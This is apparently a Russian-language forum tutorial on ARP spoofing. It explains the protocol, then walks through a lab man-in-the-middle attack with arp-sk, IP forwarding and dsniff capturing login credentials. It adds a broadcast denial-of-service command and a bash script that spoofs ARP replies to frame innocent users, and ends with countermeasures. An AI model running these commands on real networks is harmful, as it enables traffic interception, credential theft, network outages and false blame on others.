ARP-Spoofing можно перевести как ARP обман (подмена ARP-информации).
Эта атака применима ко всем видам сетей в которых используется протокол ARP (Ethernet, Token Ring, FDDI и др.).

Давайте разберёмся что из себя представляет ARP-протокол и как он работает.
Протокол ARP (Address Resolution Protocol – протокол разрешения адресов RFC 826) обеспечивает преобразование 32-битовых IP-адресов (глобальных адресов) в 48-битовые физические адреса сетевых устройств (локальные адреса).

Когда узлу нужно обратиться к другому устройству из той же сети, он рассылает широковещательное сообщение ARP-запрос: ''Какой MAC-адрес соответствует этому IP-адресу ?'' на что получает от требуемого хоста однонаправленный (не широковещательный) ARP-ответ: ''Этому МАС-адресу соответствует этот IP-адрес'', после чего начинается взаимодействие между ними. С этого момента оба узла знают соответствие IP- МАС-адресов друг друга. Это соответствие они хранят некоторое время (около минуты) в зарезервированной области памяти — ARP-кэше (чтобы не выполнять запрос каждый раз при посылке IP-пакета).

В идеале все происходит именно так, но все не так идеально как кажется на первый взгляд.

Самым слабым звеном в этой цепи и есть ARP-протокол, а точнее его не совершенность.
Протокол является абсолютно незащищённым. Он не обладает никакими способами проверки подлинности пакетов: как запросов, так и ответов. Не говоря уже о том, что ARP-ответ расценивается системой как легитимный несмотря на то, что она могла и не отправлять ARP-запрос.

Атака ARP-Spoofing используется в коммутируемых локальных сетях.
С её помощью поток Ethernet-фреймов адресованных одному узлу сети (направляющийся на определённый порт определённого коммутатора) можно перенаправить на другой (подставной) узел (другой порт, возможно другого коммутатора). В свою очередь подставной узел может выступить в роли маршрутизатора и перенаправить поток полученных данных туда, кому они предназначались изначально. Данная схема может работает в двух направлениях, скомпрометированные системы будут обмениваться данными друг с другом не подозревая о том, что вся информация проходит через посредника ''третьего среднего'' (man in the middle). Таким образом, атака ARP-Spoofing позволяет перехватывать трафик машин, расположенных на разных портах коммутатора (не исключается и модификация транзитного трафика).

После всего сказанного можно перейти к практике.

Внимание:
Перед тем как приступить к изучению этого подхода в собственной сети, обсудите этот вопрос с сетевым администратором. Неправильные и необдуманные действия могут привести к полной неработоспособности всего сегмента сети.

Три компьютера соединены между собой сетевым коммутатором.

1) sirius IP-192.168.100.16, MAC - 00:A0:C9:F1:45:15
2) amos IP-192.168.100.117, MAC - 00:0E:2E:0D:7C:6D
3) hotbird IP-192.168.100.17, MAC - 00:90:27:6D:5F:5D

Имя первого компьютера sirius, он является шлюзом по умолчанию.
Имя второго компьютера amos, он является исходным узлом.
Имя третьего компьютера hotbird, именно эта система будет выступать в роле ''третьего среднего''.
На узле hotbird выполним следующее

[root@hotbird] ping 192.168.100.16
PING 192.168.100.16 (192.168.100.16) 56(84) bytes of data.
64 bytes from 192.168.100.16: icmp_seq=1 ttl=64 time=0.167 ms
...
[root@hotbird] ping 192.168.100.117
PING 192.168.100.117 (192.168.100.117) 56(84) bytes of data.
64 bytes from 192.168.100.117: icmp_seq=1 ttl=64 time=0.186 ms
...
Тем самым мы занесем в ARP-таблицу компьютера hotbird физические адреса узлов sirius и amos.

Посмотрим содержимое ARP-таблиц каждой из систем до атаки.

[root@sirius] arp -a
amos (192.168.100.117) at 00:0E:2E:0D:7C:6D
hotbird (192.168.100.17) at 00:90:27:6D:5F:5D

[root@amos] arp -a
sirius (192.168.100.16) at 00:A0:C9:F1:45:15
hotbird (192.168.100.17) at 00:90:27:6D:5F:5D

[root@hotbird] arp -a
amos (192.168.100.117) at 00:0E:2E:0D:7C:6D
sirius (192.168.100.16) at 00:A0:C9:F1:45:15

Перед тем как выполнить атаку, на узле hotbird необходимо включить режим дальнейшей передачи IP-пакетов (forwarding IP traffic), чтобы он работал в роли маршрутизатора. Активировать этот режим можно на уровне ядра командой ''echo "1" > /proc/sys/net/ipv4/ip_forward'' или при помощи утилиты fragrouter.

[root@hotbird] fragrouter -B1
fragrouter: base-1: normal IP forwarding
...
И наконец все на том же узле hotbird запускаем анализатор пакетов (dsniff), чтоб перехватить всю ценную информацию.

Атака будет выполняться при помощи утилиты arp-sk (A swiss knife tool for ARP).
Это мощный, многофункциональный Arp-bilder которым можно сконструировать абсолютно любой ARP-пакет с нужными данными.

Атака:

[root@hotbird] arp-sk -i eth0 -r -s 00:90:27:6D:5F:5D -S 192.168.100.117 -d 00:A0:C9:F1:45:15 -D 192.168.100.16
[root@hotbird] arp-sk -i eth0 -r -s 00:90:27:6D:5F:5D -S 192.168.100.16 -d 00:0E:2E:0D:7C:6D -D 192.168.100.117

Первой строчкой мы сообщаем компьютеру sirius (192.168.100.16) что MAC-адрес машины amos (192.168.100.117) изменился на 00:90:27:6D:5F:5D.
Второй строчкой мы сообщаем компьютеру amos (192.168.100.117) что MAC-адрес машины sirius (192.168.100.16) изменился на 00:90:27:6D:5F:5D.

Посмотрим содержимое ARP-таблиц каждой из систем во время атаки.

[root@sirius] arp -a
amos (192.168.100.117) at 00:90:27:6D:5F:5D
hotbird (192.168.100.17) at 00:90:27:6D:5F:5D

[root@amos] arp -a
sirius (192.168.100.16) at 00:90:27:6D:5F:5D
hotbird (192.168.100.17) at 00:90:27:6D:5F:5D

[root@hotbird] arp -a
amos (192.168.100.117) at 00:0E:2E:0D:7C:6D
sirius (192.168.100.16) at 00:A0:C9:F1:45:15

Результат:

[root@hotbird] dsniff

-----------------
06/10/08 12:15:00 tcp 192.168.100.117.1775 -> IP.110 (pop)
USER test
PASS test
-----------------
06/10/08 12:31:49 tcp 192.168.100.117.1787 -> IP.21 (ftp)
USER test
PASS test
-----------------
06/10/08 12:40:42 tcp 192.168.100.117.43387 -> IP.5190 (aim)
123456789
test

P.S
Denial of Service
[root@hotbird] arp-sk -r -S 192.168.100.16 --rand-arp-hwa-src -D 192.168.100.117 -d 00:0E:2E:0D:7C:6D
Если не указывать адрес назначения, в сеть отправится широковещательный пакет который сообщит всем компьютерам данного сегмента о том, что МАС-адрес шлюза по умолчанию изменился. Что в свою очередь приведет к полной изоляции всей подсети "Denial of Service" .

А вот этим маленьким bash-скриптом можно заставить сетевого администратора сломать голову в поисках нарушителя, подставляя исходящий МАС-адрес ( к примеру -s 66:66:66:66:66:66) обычных, безобидных пользователей.
Никогда так не делайте !!!

1 #!/bin/bash
2 arp -a |cut -d' ' -f2 |cut -d'(' -f2 |cut -d')' -f1 >> ./temp
3 while read line
4 do
5 arp-sk -i eth0 -w -s 66:66:66:66:66:66 -S $line -d 00:A0:C9:F1:45:15 -D 192.168.100.16
6 done < ./temp
7 rm ./temp

Контрмеры.
Как вы увидели, не составляет никаких проблем генерировать ложные ответы ARP и тем самым модифицировать таблицу ARP на большинстве узлов локальной сети.
Где только возможно, задавайте статические записи в ARP таблицах, особенно на важных системах.

[root@sirius] arp –s 192.168.100.16 00:A0:C9:F1:45:15

Пользуйтесь программой arpwatch, которая отслеживает всю ARP-активность на указанных интерфейсах информируя о всех ARP-аномалиях (она не защищает, но может вовремя проинформировать).

[root@sirius] arpwatch –i eth0

“Существует патч (предложенные buggzy) для ядер Linux/FreeBSD, который позволяет свести к минимуму опасность успешного выполнения атаки ARP-spoofing против пропатченных систем.”

По возможности внедряйте в структуру сети больше управляемых коммутатором (L-2).

Хотелось бы услышать какие-нибудь други способы проведения этой атаки и защиты от нее.
Может у кого-то есть свои секретные ньюансы :).
Вобщем если не жалко, рассказывайте.